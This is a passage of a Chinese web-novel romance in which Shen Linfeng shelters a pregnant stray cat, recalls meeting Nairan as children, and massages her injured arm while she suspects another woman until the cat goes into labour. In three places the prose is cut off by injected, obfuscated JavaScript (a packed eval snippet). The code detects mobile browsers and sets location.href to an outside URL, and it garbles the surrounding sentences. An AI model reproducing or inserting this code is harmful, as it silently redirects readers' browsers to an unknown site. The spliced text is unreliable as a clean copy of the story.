消息一发出去,他既紧张又期待,短短半个小时的时间,他有意无意点开手机不下三次,希望能看到回复,可惜直到现在还是一片空荡。 沈临枫看着奈然的头像,手指点击输入框,想了又想,还是退了出去。 他担心频繁的打扰会让奈然反感,决定耐心等待。 也许她只是还没有时间看手机,毕竟奈然是个努力又上进的女孩子。 享用完美味大餐的酥酥舔着舌头走到他的身边,蓄力一跃跳到沈临枫的腿上,迎着明媚的晨光,舒舒服服趴在沈临枫身上晒太阳。 因为受伤,沈临枫向导师请了一个星期的假,不用去实验室帮忙,呆在这里用电脑看论文写报告就可以。 自从来到云泓市,无论是学业还是生活上的事情同样繁忙,要学习的东西有很多,再加上专业实验的特殊性,他几乎每天都泡在实验室里,有时候甚至凌晨三四点还要去更换实验用品,现在终于能够短暂放松一下。 可每到闲下来,他都会不可抑制地想起奈然。 从曙海考到这里,也仅仅是为了能离她更近一些。 他从未放弃过对奈然的感情,无论是三年前还是现在。 他喜欢她,也只喜欢她。 所以,无论结果如何,他都想再试一次。 11. 初遇 等待的时间格外漫长难挨,沈临枫心不在焉地看着论文,强制自己不去注意放在笔记本电脑旁边的手机。 他的手脚不方便,午饭草草下了一碗面条算是解决。 酥酥吃了睡,睡醒后就躺在沈临枫的电脑旁边一个劲儿的盯着他打字的手指看,时不时晃晃尾巴,企图吸引他的注意力。 每到这时,沈临枫的思绪会短暂的从别处扯回,伸出手指挠挠它的下巴,猜测它会生出什么样的小猫崽。 酥酥是他一个月前在院子里捡回家的。 彼时,九月份的云泓市正逢雨季,几乎每个星期都会下一场连绵的雨,带着夏末的余温,闷热潮湿。 沈临枫刚搬到校外住,每天夜深从学校回来,途径花园旁的垃圾堆放处,总会发现流浪猫在翻找食物,于是他在网上下单买了些猫粮,每天都会特地在固定位置放一些。 一开始,他结束一天的实验回来的时候,猫粮都已经被吃的一干二净,他也就没有想那么多,每天早晨离开这里照常放同样的量。 直到某天连着下了三天的雨,凌晨十二点的午夜时分,沈临枫打着伞走到附近,听到了轻微“咔嚓咔嚓”的响声,像是牙齿啃咬的声音。 循着找过去,沈临枫越过被修建成圆形冬青丛探望,恰好和两颗滚圆的荧光眼珠四目相对。 借着身后照明灯的微弱光亮,沈临枫才看清是一只瘦小的三花猫。 对方对于他的存在十分警惕,弓起背,发出低低的哈气声。 雨水淋湿了它的毛发,结成湿乎乎的绺。 沈临枫知道它是害怕,所以没有再靠近,而是站在原地观察。 这只小三花猫他还是第一次见,看起来还不到一岁,四肢都很纤细,肚子却鼓出来一块,这让沈临枫提了一口气。 他对猫不算太了解,但这副模样显然不太正常。 猫天性不喜欢沾水,所以在下雨天的时候,它们通常都会寻找能够避雨的地方躲起来,很少像这只三花淋着雨在外面游荡。 考虑到这两天阴雨不断,沈临枫早上离开的时候特意找到一处能够遮挡住雨水的地方,将猫粮放在纸盒中,搁置到这里。 然而,被他放好的纸盒此时正掀翻在地,里面剩余的猫粮洒落满地,滚到旁边花圃的泥土里,湿了个彻底,想必已经不新鲜了。 沈临枫猜测这只三花猫是因为肚子太饿,才不得不冒着雨出来觅食。 这么想着,他在猫咪警惕的目光下放轻脚步后退了一步,以至于不会吓到它,随即转身快步上楼,从房间里重新装了一碗新鲜的猫粮下楼来。 再次来到那个位置的时候,小三花果然还在那里低着头找吃的,听到他的脚步声,两只耳朵敏锐地抖了抖,抬起头来。 “这里。”沈临枫轻声道,一步步靠近它。 似乎是嗅到了新鲜食物的味道,小三花没有表现得太过抵触,站在原地一动不动。 沈临枫将碗放到路边的长椅下方,借用长椅的座板遮挡雨水,接着站起身,走远了两步。 见他离开,小三花果然迫不及待朝着这里靠近,不过始终与沈临枫保持着固定的距离。 等沈临枫又走远了些,小三话终于来到了碗盆旁边,饿极了一样大快朵颐,边吃还不忘抬头看几眼沈临枫有没有过来。 见它吃得欢快,沈临枫放下心来,考虑着要不要拿一条毛巾下来帮它擦擦身上的水,不过觉得它大概不会让靠近,索性放弃了这个想法。 几分钟后,小三花吃的差不多,意犹未尽地舔舔嘴巴,坐直身子,看向沈临枫的眼神不再充满戒备,不知何意地“喵”了一声,紧接着转身跑掉,小小的身影消失在了雨幕之中。 沈临枫望着它离开的方向,片刻后收回目光,不禁唇角轻扬,走上前收掉被吃得干干静静的碗。 也许是因为某种冥冥之中相似的感觉,他想起了和奈然初遇的时候。 十几年前的回忆已然模糊,可某些小细节却历历在目。 四五岁的女孩子正是内向害羞的年龄,某天他从学校坐车回家,下了公交,正好和独自坐在站台椅上的女孩子对上了眼。 女孩子有一双漂亮的桃花眼,乌黑的头发向后规规矩矩梳成发髻,扎了一个蕾丝花边的纯白发圈。她穿着件黑色洋裙,看起来像动画片里优雅的小公主。 沈临枫认出了奈然。因为他曾和妈妈一起去楼上邻居家挨个拜访,越过门看到过这个女孩子,也知道她的名字叫奈然。 不过他们两个从来没有说过话,因为奈然总是躲在房间门口不出来,偶尔会探出半张脸往外看,像只好奇的小鹿。 本来沈临枫并不在意这种事情,可今天恰好遇见,他甚至不确定奈然有没有认出自己,犹豫了半天,才有些不好意思的摸摸后脑勺,朝女孩开口:“那个……你怎么自己呆在这里,你的妈妈呢?” 女孩不解地眨眨眼,像是没明白他说什么,歪了歪头,没有回答他的问题。 这让沈临枫有些尴尬,心想或许奈然根本就不想和自己搭话,他还是不要自讨没趣了。 “那我先走了。”沈临枫双手捏着身旁两侧的书包带,下定决心离开。 没走出两步,忍不住扭头瞧去。 奈然依旧独自坐在长椅上,同样转过头盯着他看,是不是眨巴眨巴葡萄似的眼珠。 她的身影在车水马龙的街道上看起来是那么纤细无助,沈临枫终究没能狠心走开。 他摸了摸衣兜,想起今早老师奖励他考试满分,送给了他一盒水果糖,给班上的同学分了分后,还剩下两颗,本来是想留下来回家给爸爸妈妈吃的。 沈临枫抿抿唇,决定下次再送给爸爸妈妈吃,重新向奈然走了过去。 奈然自始至终没有移开目光,不谙世事的眼睛里流露出一丝好奇。 她看着沈临枫走到面前,从兜里掏出了一个精致的小铁盒,上面还印着漂亮的粉色天鹅。 下一秒,沈临枫打开了铁盒,从里面拿出仅剩的两颗糖,摊开手心放在奈然前面。 “要吃糖吗?”他说。 本以为这样能让他们之间不尴不尬的关系缓解一些,谁知奈然的目光在看到他手心里的糖后,陡然变得警惕起来,摇摇头向后缩了缩身子,眼睛也不再看他,低着头紧盯自己的小皮鞋。 “不吃吗?”沈临枫百思不得其解,这回连他也没招了。 搭话不成功,干脆就都不说话。出于担心奈然一个人呆在这里会不安全,他绕到长椅的另一边坐下,把糖盒和糖放到一边,从书包里找出习题册开始写。 他始终留意着周围,注意到旁边投来小心翼翼的视线,转头把偷看自己的女孩逮个正着:“怎么了?” 奈然不语,看看他,又看看底下。 顺着她的视线,沈临枫恍然大悟,伸手指了指放在他旁边的糖盒:“你喜欢这个吗?” 这次,他很快得到了奈然的回应。 女孩小幅度点头,目不转睛地看着他手中的漂亮盒子。 她很喜欢上面那只粉色的天鹅,想凑近看看,也想伸手摸摸。 谁知下一秒沈临枫直接把糖盒推到他们两个中间。 “送给你。” 奈然露出惊讶的表情,两只小手相互抠着手指,一副十分纠结的模样。 从他们碰面到现在,沈临枫都没听到她开口说过话,要不是之前在奈然家门口听见她喊过妈妈,他真的会怀疑对方是不是不会说话。 就在奈然迟迟没做好决定的时候,沈临枫听到身后的呼唤声。 “宝贝!等久了吧,快看妈妈给你买了什么好吃的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15005144|161856||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 奈然双眼一亮,从长椅上跳了下来,脆生生喊了句:“妈妈!” 沈临枫回过头,也站了起来:“阿姨好。” “咦,你是小枫吧?”万玉玲这才看到他,颇为惊讶道:“你怎么在这里呢?” “我放学坐车,正好在这里碰见奈然。” “这样啊。”万玉玲了然,抱起跑过来的奈然,笑道:“你刚刚在和小枫哥哥一起玩吗?你们两个相处好不好呀?” 听到她的话,奈然却是摇了摇头。 她这一举动,让沈临枫吓了一跳,连忙想开口解释:“我……” 不等他说话,奈然糯糯的声音传入耳朵:“我没有跟哥哥说话,也没有要哥哥的糖。” 闻言,万玉玲不急不躁,语气温柔询问其缘由:“嗯,为什么呢?” “因为……”奈然想了想,“因为妈妈说过不要和陌生人说话,也不能吃陌生人给的糖。” 话音一落,万玉玲和沈临枫皆是一怔。 “噗哈哈哈——”反应过来后,万玉玲笑得前仰后合,“这倒也对,可哥哥不是陌生人呀,你们两个不是见过吗?” 奈然歪歪头,表示不理解,在她认知中,没有讲过话的就算陌生人。 “那你今天想和哥哥交朋友吗?以后你们就可以一起聊天一起玩,哥哥分享给你的东西,如果你想要,要说谢谢后才能拿哦。” “嗯!”奈然这次十分用力的点点头,还给出了相当令人信服的理由,“我想和哥哥交朋友,因为哥哥长得很漂亮。” 她充满童真的话音一落,万玉玲又笑开来,沈临枫红着耳朵低下了头。 “哥哥是男孩子,不能说漂亮,要说帅气和勇敢才对。” 奈然懵懵懂懂地反问:“男孩子为什么不能漂亮?” 看着女儿天真纯洁的神情,万玉玲思路转了个弯,附和道:“也对,男生可以漂亮,就像我们然然也可以帅气和勇敢,对不对?” “嗯!” “那你下来和哥哥一起走好不好?” “好。” 沈临枫望着女孩走到自己面前,伸出了自己的一只手,不复刚才那般沉默,恢复原有的活泼个性:“哥哥,牵手。” “哦……嗯。”沈临枫下意识用衣摆蹭了蹭手心,握住了奈然的手。 她的手凉凉的,很小,却有力地紧紧反握住他。 一路上,奈然像是打开了话匣子,对着沈临枫问东问西。 电梯到达沈临枫家的楼层,两侧门缓缓展开,沈临枫松开了奈然的手,抬头看看万玉玲,又看看奈然:“阿姨……奈然,我先走了。” 万玉玲浅笑着点头,对奈然说:“然然,跟哥哥说再见。” “哥哥……”奈然应声开口,说的却不是再见,“什么时候可以找你玩?” 沈临枫想了想:“我每天五点放学回来,五点半到家,你可以来找我玩。” “好。”奈然欢欢喜喜答应。 沈临枫走出电梯,转身朝奈然挥挥手。 奈然同样冲他挥手道别。 就在电梯门即将合上的一刹那,门缝之中伸出一只手。 奈然睁大了眼睛,望着重新出现在面前的沈临枫,还有那个漂亮的糖盒。 “这个,你忘记拿了。” 沈临枫把盒子放到奈然的手里,转身摆摆手,消失在了电梯门外。 万玉玲定睛一看,惊讶道:“这么漂亮的小盒子。” 奈然低着头伸手摸了摸盒子上面的粉色天鹅印花,忽然听到盒子里面有声响。 她掀开盒子,发现里面放着两颗不同颜色的糖,是沈临枫刚刚在车站想要给自己的那两颗。 奈然没有伸手去拿它们,十分珍惜地将盒子盖好,将盒子紧紧抱在怀里。 12. 是他 沈临枫在电脑前坐了一下午。 天色渐晚,夜幕四合,房间里只有笔记本电脑的屏幕亮着刺眼的白光。 终于写好今天的报告内容,提交给导师后,他起身去开灯,顺便倒了一杯水回来,状似无意拿起手机,点开却发现只有新闻推送消息,心情莫名失落。 正准备关上电脑去厨房做点晚餐,手中的手机忽然震动起来,沈临枫满怀期待地点开一看,结果是来自他妈妈的电话。 “喂,妈。”沈临枫接起电话。 “儿子,你怎么样了?” “我没事,已经出院了。” “出院了?”孟锦乔提高了音量,语气倏然变得严肃:“才几天啊就出院,你不是胳膊和腿都受伤了吗,干嘛不在医院好好养着?” 沈临枫知道她的脾性,耐心温言解释:“都是皮外伤,慢慢恢复就可以了,每天住院花费太高,况且也不方便。” “好吧好吧,你长大了,有自己的想法,妈现在管不到你了,自己要注意自己的身体,听到没有?” “知道了。” “对了。”孟锦乔灵机一动,“你见到奈然了吗?” “……见到了。” “她居然在云泓上大学呢,你说这不巧了吗?你们两个岂不是又算邻居了。” 世界上哪有这么多巧合呢,沈临枫心想。 无非是他故意为之。 孟锦乔似乎对这件事充满了好奇心:“你们两个这么久没见,趁着这个机会说不定也能好好聊聊。” 沈临枫总觉得她话里有话:“妈,难道你是故意的?” 故意在和奈然妈妈打电话的时候提起这件事,从而让奈然间接知道了这件事。 通话另一边的孟锦乔被点破,并不心虚,反而理直气壮用教训的口吻说道:“只是突然想到了而已,我也是在电话里才知道她在云泓上大学,就你这个温性子,不推你一把,不知道要折腾到什么时候去呢。再说你受了伤,人家如果连探望都不愿意探望你,还是趁早死了这条心吧。” 她话说得直白,沈临枫想到今天整日的期待与等待,情绪有些低落,连带着沉默下来。 “怎么不讲话了?”孟锦乔察觉到他的不对劲,语调顿时温柔了下来:“妈这不是想帮帮你吗,有什么事情还是可以跟我交流的,两年前刚搬家那时候你失魂落魄的样子,我跟你爸一眼就瞧出来是怎么回事了,不过看你不说,我们也就没问。” 这回沈临枫是真的吃了一惊:“原来你们早就知道了?” “你都是我生的,有什么能瞒得过我的?”孟锦乔在他看不到的地方掐着腰说道,“先好好养伤,这种事情慢慢来,别老是瞎想,自己把自己给吓住了。” 听完她的话,沈临枫心中压抑的情绪奇异的平静了许多:“知道了,妈。” “我跟你爸年前回国,到时候给你带特产回来,先不说了,你妈我要去谈大生意了。” 沈临枫轻笑着说了加油,挂掉了电话。 * 奈然确实有意忽略掉了来自沈临枫发来的所有消息。 她甚至没有点开去看,因为害怕自己会忍不住去回复。 说是逃避也好、冷漠也罢,她对那天晚上听到的事情耿耿于怀,既想知道事实,又害怕知道事实,处于一种说不清道不明的挣扎之中。 拉伤的胳膊频频发痛,她甚至没办法利用练舞去转移自己的注意力。 距离上次的排练已经过了一天的时间,始终没有确切的结果,杨梦在群里通知周末休息两天,下周一恢复排练时间。 忙了这么久,突然闲下来,奈然竟不知道要做些什么。 百无聊赖的在宿舍呆到下午,她实在有些坐不住,打算独自出去转转,吃个晚餐或是看个晚点场的电影,反正明天也不用早起上课或是排练。 她晚上向来不吃重油重盐的东西,不是不爱吃,而是为了控制饮食。 但今天不同,她准备久违的放纵一下。 她迅速收拾好自己,套上简单的黑色宽松卫衣,离开宿舍。 说是放纵餐,其实也没有那么放纵,进了火锅店,点的大部分都是素菜。 一边吃着,奈然一边想,幸好伤到的不是右手,否则连筷子都用不了,那样可怎么吃饭? 通过这点,她立马联想到了沈临枫。 他伤的就是右手吧? 半个胳膊都被包了起来,当时在医院看他用筷子就很难,平时要怎么吃饭? 去食堂抢的过那些生龙活虎的学弟学妹们吗? 不对,他说他在校外住,而且可能还不是独居,指不定每顿都有人喂…… 奈然的心情蓦然有些不爽,用力地咬着口中的青菜,好似把它当成了某个人泄愤。 她凭什么要在意这些,跟她又没有什么关系。 吃到一半,忽然听到熟悉的声音。 “拿我当苦力,就请我吃这个?” “这怎么了?什么菜都有,多丰盛啊。” “你怎么不干脆带我去吃路边摊?” “哎,你别说,小吃街里面那一家炒粉摊真心不错,要不……” “周彦泽!!” 听到这个名字,奈然证实了自己的猜想,扭头朝门口一望,果然是穆淼淼和周彦泽。 等他们朝这里走近,奈然喊了一声:“小水。” 穆淼淼应声转头,朝四周看了看,才注意到带着鸭舌帽独自坐在一桌的奈然,惊喜道:“奈奈,你怎么在这里!” 她像只快乐的小鸟一样扑到奈然身边,露出一个十分狡黠的笑容:“莫非是在和谁偷偷约会?” 奈然无奈的笑:“没有,在宿舍呆着太无聊了,就出来吃个饭。” “干嘛不和我说!早知道叫你出来一起去逛街了,我最近好想买一件棉服穿。” 不等奈然回答,跟在后面走过来的周彦泽坐到她们对面,忍不住开口插话:“前天想买裙子,昨天想买包,今天又想买棉服了?” 穆淼淼瞪他一眼:“你管我。”接着对奈然道,“我们一起吃吧,正好这家伙今天说要请客,我们狠狠讹他一笔。” “不用……” 奈然正想拒绝,被周彦泽打断:“老板,再加两份羔羊肉,一份牛肉片!” “……”奈然只得闭上了嘴。 穆淼淼和周彦泽都是自来熟的性格,从不会让话掉在地上,而奈然与周彦泽也见过好几面,所以不至于觉得尴尬。 吃饭的时候,穆淼淼将最近排练剧目的事情全部和周彦泽讲了一遍。 后者义愤填膺:“这个魏丰真没种,一个男人耍这种阴招,我真看不起他。” “是吧是吧。”穆淼淼附和着。 周彦泽又道:“那你们难道真因为这件事就要换人?” “还没出结果呢。”穆淼淼说,“虽然学姐跳的确实很好,可我一直觉得奈奈才最适合这次的剧目。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15012689|161856||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 一直安静当听众的奈然终于开口:“没关系,至少我们是公平竞争,技不如人,也没什么好抱怨的。” “可是你手臂受伤了……本来就对你不利,老师们也真是的,怎么能说换人就换人呢。” 知道她是为自己不平,奈然笑了笑,缓声安抚:“结果还没出来,难道你不相信我吗?” “我当然相信!” 有他们不停烘托气氛,奈然的心情好了许多,只是最后周彦泽提前买了单,让她心里有些过意不去。 她不喜欢欠别人什么,于是在听说他们两个等会要去搬东西到合租的房子,提议自己也一同过去帮忙。 穆淼淼一开始没同意,担心她手臂上的伤。 奈然不以为然:“我右手不是好好的么?反正回宿舍也没有事情干,就当陪我一起散散步。” 穆淼淼成功被说服,带着她先到租房的楼下,等周彦泽回来。 由于东西太多,周彦泽不知从哪里借了辆电动三轮车,直接从宿舍楼下骑了过来,车后座被大包小包塞得满满当当。 这回就连奈然都震惊到了:“你把宿舍也一起搬过来了?” “都是编曲用的设备,还有电脑主机显示屏什么的,你们提那些小包就行,里面装的都是衣服之类的东西,大的我来拿。”周彦泽从车上跳下来,把吉他包背到身上:“刚刚我给沈哥打了个电话,他在家呢,不过他不太方便一起帮忙,所以辛苦二位多帮我跑两趟了。” 经他一提起,穆淼淼想起了什么,激动的晃了晃奈然的右手:“奈奈,还记得我上次说得那个大帅哥吗!就是他就是他!” “喂!”周彦泽用手臂将穆淼淼揽到身边,低头咬牙切齿地讲:“我还在这里呢!我说你这次怎么好心帮我搬东西,原来惦记着这件事!” 穆淼淼用手锤他:“你就是嫉妒人家长得比你帅!” 奈然被他们欢喜冤家似的相处模式逗笑,跟着他们一同走上楼梯。 这个居民区属于云泓市的老小区,楼层低,没有电梯,所幸周彦泽合租的房子在三楼,不算高,来回跑几趟没什么压力。 周彦泽走在前面,找到对应的门前,抬手敲门。 奈然只拿了一个背包,站在最后面的楼梯拐角处等待。 不知为何,屋内的人前来开门的时间有些久。 过了将近半分钟的时间,门锁响起转动的声音。 对于穆淼淼再三提起对方长的很好看的事情,奈然其实并没有多大的感觉,毕竟她们学校作为艺术性大学,最不缺的就是外貌出色的人,况且被穆淼淼夸过的男生没有一千也有一百,就连魏丰她也曾说过长得帅,奈然已经对她的标准有了清晰的认知。 奈然自认为男性的外表对自己的吸引力不大,不然为什么从小到大见过外表出众的男性也不少,从来没有谁让她产生过怦然心动的感觉。 啊,有一个人除外。 莫非是因为他,自己的审美才被无形中提高到某一程度? 要让她觉得养眼,至少要向沈临枫看齐才行吧? 奈然的思绪渐渐飘远,不受控地围绕在某个人身上。 等了许久的门终于被打开,伴随着一道好听的声音,宛如三角钢琴中的琴槌轻轻敲击钢弦,发出低沉悦耳的振动。 “抱歉,让你们久等了。” 奈然沉浸的思绪瞬间消散,惊诧地抬头看向门后出现的人。 “沈临枫?!” 13. 按摩 脱口而出喊出名字,奈然才后知后觉场合不对。 除了她以外,其他三个人皆是一脸惊讶。 沈临枫最先反应过来,侧身让她们进屋:“先进来放东西吧。” “哦、哦,好。”不明就里的周彦泽和穆淼淼晕晕乎乎先走了进去。 没了他们遮挡视线,沈临枫握着门把手,目光沉静注视着跟在最后面的奈然。 而奈然不经意间避开了他的视线,跨过门槛的一刹那,他们之间的距离被缩短到最近,她几乎能感受到沈临枫微微洒下来的鼻息扫过耳畔。 察觉到她有意在保持距离,沈临枫眸色暗了暗,刚冒出的那点惊喜之情瞬间消失无踪。 等待他们全部进来,沈临枫转身来到茶几前拿出一次性纸杯,从玻璃壶中倒了三杯出来:“把东西放在客厅就可以,我泡了柠檬水,要不要喝一杯?” “谢谢啊,正好渴了。”周彦泽轻而易举被转移了注意力,抬起被子一饮而尽。 自从进了门之后,奈然一直在暗中观察,意外的是,这房间里面看起来除了沈临枫并没有第二个人。 难道是自己误会了什么吗?可那天自己明明听得一清二楚。 奈然心中郁结,很讨厌自己不受控制地去在意的情绪。 坐在一旁的穆淼淼看出了些许端倪,试探着问:“奈奈,你们两个认识啊?” 这种事情没有撒谎的必要,奈然点头:“嗯,认识。” “这么巧?”周彦泽接话,“什么时候认识的?” 奈然沉默半晌,刚要开口回答,被沈临枫的声音盖住。 “新生交流会的时候。”沈临枫笑了笑,语气坦然,“听说云艺大的新生欢迎会很精彩,我就去看了,碰巧认识了奈然。” “原来是这样,我说呢。”周彦泽信以为真。 听到这个答案,奈然微微睁大了眼,不解地盯着沈临枫看,不明白他为什么要说谎。 作为女生,穆淼淼心思更加细腻,察觉到他们两个之间似乎有什么不对劲,十分机灵地说:“走走走,我们赶紧下去拿你剩下的东西,你也不怕放在那被人当垃圾扔了。” “靠!”周彦泽一拍脑门,“那可是我的全部身家。” 奈然跟着也要和他们一同站起来,被穆淼淼眼疾手快按住肩膀重新坐下,朝她别有深意地眨眨眼睛:“奈奈,你手受伤,就别去了,我们两个下去就行。咳咳,大概十分钟?够吧?不够我们俩再去溜达一圈。” 周彦泽莫名其妙:“大晚上的溜达什么?” “少废话,赶紧的。”穆淼淼推着他大步流星出去,还不忘反手把门关上。 门刚一合上,奈然便听到沈临枫略带急促的声音。 “你受伤了?哪里?” 她抬眸,看着沈临枫扶着沙发靠背一步一跳朝这里靠近,心里有些不是滋味。 “只是胳膊碰到了而已。”奈然放低了声音,喃喃地说:“你还是多操心一下自己吧。” 闻言,沈临枫无奈道:“这怎么能相提并论,胳膊伤到了哪里?去医院看了吗?” “轻度的肌肉拉伤,没什么大事。” 沈临枫松了口气:“肌肉拉伤一定要注意保护,不能反复活动伤处,这样会造成更严重的影响。” “……”奈然莫名心虚,别开视线没有回答。 她的表情哪里瞒得过沈临枫,他轻轻叹息。 就在奈然以为他要责备自己分不清轻重缓急时,耳畔传来他的低语。 “带伤跳舞,是不是很痛?” 奈然一怔,猛地看向他。 沈临枫眼底盛着说不清道不明的情绪,似乎有着一种不可名状的担忧。 奈然望着她,竟忽然鼻尖泛酸,压抑在心口的苦闷像是被按下了某种开关,倾泻而出。 她向来能忍,无论是身体上的苦痛还是生活中的压力,十八岁前她只告诉过沈临枫一个人,十八岁后她从未告诉任何人。 她始终觉得,但凡能够独自忍过去的情绪,没必要向别人发泄。 而这次受伤,她其实并不像表面上表现得那样平静。 奈然当然看得出来魏丰在托举的时候松手是有意为之,可即便是知道又能怎么样?没有确切证据的指认,只会被当成污蔑,而这一切仅仅是因为她拒绝了对方的示好。 她做错了什么?还要因为受伤而不得不面临被替换掉的结果。 不分昼夜练了这么久的时间,她怎么可能甘心? 可她知道抱怨没有用,所以就算痛,就算不甘,她都忍了下来,说着没事,然后拼命争取不被换掉的机会。 哪怕手臂在硬撑着跳到最后已经痛到麻木,每动一下都是煎熬,依然咬紧牙坚持了下来。 没想到所有的情绪在沈临枫面前根本无处遁形,迫不及待地想要向他倾诉,一半化为委屈,一半化为懊恼,充斥在奈然心中。 她看着沈临枫,欲言又止,最后忍不住小声开口:“一点点……” 语罢,她迅速闭上了嘴,好像自己说了什么不该说的话。 沈临枫露出一抹浅笑,俯身坐到对面的沙发上:“要我帮你按按吗?” 许多记忆随着沈临枫的话接连浮出脑海,奈然恍然想起,从前练舞练到肌肉酸痛,尤其是脚踝和小腿,沈临枫经常会帮自己按摩缓解疼痛,他甚至为此专门去学过按摩的技巧。 还没等她大脑反应过来,手已经提前伸到沈临枫面前。 奈然:“……” 这该死的条件反射! 很快,她的思绪被手腕覆上来的温热侵占,目不转睛地盯着自己的手。 沈临枫的手很好看,五指修长,指关节清晰,动作却很温柔。 捏到小臂内侧的地方时,奈然有些吃痛,微微蹙紧了眉头。 注意到她的表情变化,沈临枫放轻了力道,顺着方向用指腹去推,另一只手轻轻握住奈然的手腕固定住位置。 疼痛的感觉顿时缓解了许多,奈然瞧着沈临枫低着头的专注模样,目光不由自主锁定在他垂下来的睫毛上。 长长的,上下一抖一抖。 不知为何,她心里突然有点发痒,好像两把小刷子扫在她的心口。 想伸手去摸一摸。 假如用手捂住他的眼睛,一定是一种不一样的感觉…… 不对,她在想些什么!? 奈然闭了闭眼,对自己天马行空的念头感到无语。 为了强迫自己转移注意力,她看向沈临枫的右手,衣袖中露出了一点白色的绷带,开口问道:“你手上的伤……没事吗?” 沈临枫抬起头,笑着说:“手臂上只是擦伤,没有伤到骨头,上过药很快就会好。” “哦……”奈然轻声回应。 她其实还有其他想问的事情,可不知道该怎么开口,抬眸不动声色观察着房间的四周,并没有发现有第二个人生活的痕迹。 从她的角度,能看到客厅两边有两扇门,左边的一扇打开,里面有一张床,床上干干净净,除了基本的床垫以外没有其他的东西,大概是周彦泽要租住的房间。而另一扇门则紧闭着,看不到里面的任何内容。 奈然盯着这扇门看了许久,仿佛想透过它看见什么。 沈临枫的动作娴熟而温柔,拇指顺着手肘内侧的方向推动,皮肤之间的摩擦让奈然心头微微发热。 她的视线从那扇门收回,扫过一旁,停顿在茶几上的花瓶,一眼认出瓶中寥寥几枝风信子正是她那天去医院带给沈临枫的那几枝。 尽管被放入瓶中用水精心滋养,经过了几天的时间,洁白花瓣的边缘部分已然发皱发黄。 看着这样无可奈何的变化,奈然心中莫名难过。 面对沈临枫时,她好像总是会变得多愁善感,内心脆弱的部分被无限放大。她想向沈临枫展示出更坚强的一面,却不能如意。 两个人各怀心事,一时忘记了搭话,周围的空气陷入静止般的沉默。 终于,沈临枫率先打破了这良久的寂静:“这两天……很忙吗?” 说话的时候,他并没有抬头,就好像只是稀松平常的问候。 想起自己未读未回的行为,奈然一阵心虚:“还好。” 所幸沈临枫没有对这件事追问,而是说道:“肌肉拉伤一定不能急,尤其是不能反复使用伤到的部位,自愈需要时间,平时可以用热毛巾热敷,加速血液流通,配合适当按摩提高恢复速度。” “嗯。”奈然像学生听讲一样乖乖点头。 “真的知道了?”沈临枫抬眼瞧她,目光中流露出一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15027244|161856||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丝怀疑。 奈然眨眨眼,露出一副无辜的表情:“知道了。” 见状,沈临枫勾起唇角:“如果你有时间,随时可以来这里,我帮你按摩。” 这样明晃晃的邀请让奈然心中一动,藏匿已久的问题终于忍不住要破土而出。 “上次我在药店……” 刚一开口,一阵响声从那扇紧闭的卧室门中传来,像是什么东西掉落在地上的声音。 奈然顿时噤声,连带着上半身坐得笔直,警觉地看向声音来源的方向:“什么声音?” 房间里莫非有其他人? 想到这种可能,一股郁闷之情油然而生,奈然的脸色发沉。 “抱歉,我去看一下。”沈临枫也听到了响声,站起身来,由于拐杖没在身边,只能一瘸一拐地朝房间走去。 打开门,躺在飘窗软垫上的酥酥也看到了他,有气无力地摇了摇尾巴,不安地舔舐着腹部的毛。 它的腹部小幅度收缩着,沈临枫眉心一跳,快步走上前,发现垫在下面的棉垫被液体洇湿了一块,中间还带着淡淡的血色。 这是要生产的迹象。 沈临枫忙不迭找出之前准备好的东西,安抚性地唤了它一声:“酥酥,怎么样?肚子痛吗?” 大概是因疼痛而难受,酥酥没有出声回应他。 卧式外的奈然看不到飘窗的位置,只听到沈临枫略带焦急的声音。 苏苏? 肚子痛? 奈然的表情变幻莫测,总之不是很好看。 她十分确信,在药店里沈临枫所说怀孕的对象,就是他现在口中这个“苏苏”。 无名的怒火在她心底燃烧起来,她甚至想冲进去质问沈临枫究竟意欲何为,既然有了需要照顾的对象,又为什么要一而再再而三的对她说那些关怀的话? 虽然她不愿意相信沈临枫是那种不负责任的人,可事实已经摆在面前,让她无法欺骗自己。 正当奈然站起身来准备独自离开时,沈临枫的身影出现在房门前,带着请求的眼神,语气中携有一丝犹豫:“然然,你能来帮我一下吗?” 也许是心中着急,他下意识说出了从前的称呼:“酥酥要生了,我自己可能有点照顾不过来。” 母猫生产需要用毛巾擦拭和频繁换水,他的腿行走起来不方便。 殊不知奈然在听到这句话后,她的心情只能用难以置信来形容。 就算他们两个早已不再是从前的关系,可那也是实实在在发生过的事实,他现在居然要自己帮忙,是不是太过分了一点? 再说这种事情不应该交给专业的医生处理吗?她能帮上什么? 